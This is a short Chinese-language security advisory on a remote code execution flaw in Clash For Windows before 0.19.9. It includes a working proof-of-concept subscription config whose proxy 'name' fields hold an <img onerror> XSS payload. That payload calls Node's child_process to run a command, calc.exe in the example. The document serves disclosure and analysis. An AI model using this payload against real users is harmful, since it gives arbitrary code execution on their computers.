Github上曝光了Clash For Windows开源代理工具的远程代码执行漏洞。据了解该漏洞利用细节及漏洞利用代码已在网络上公开,其可能已被在野利用。
漏洞危害
代理规则配置文件中未设置严格的输入检测,攻击者可通过构造代理配置文件中的 XSS Payload 来执行任意 javascript 命令。
漏洞复现
构建恶意服务器站点,在站点部署cfg配置文件,内容如下
订阅文件
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
漏洞描述
由于crash_for_windows_pkg可以根据URL下载进行配置Rules文件,crash_for_windows_pkg由Electron提供支持,该产品在代理规则配置文件中未设置严格的输入检测,攻击者可通过构造代理配置文件中的XSS Payload来执行任意JavaScript命令。
漏洞范围
Clash For Windows < 0.19.9
漏洞分析
crash_for_windows_pkg 由 Electron 提供支持,该产品在代理规则配置文件中未设置严格的输入检测,攻击者可通过构造代理配置文件中的XSS Payload来执行任意JavaScript命令。
"proxies"中的"name"字段嵌入html标签,"onerror"时触发语句执行。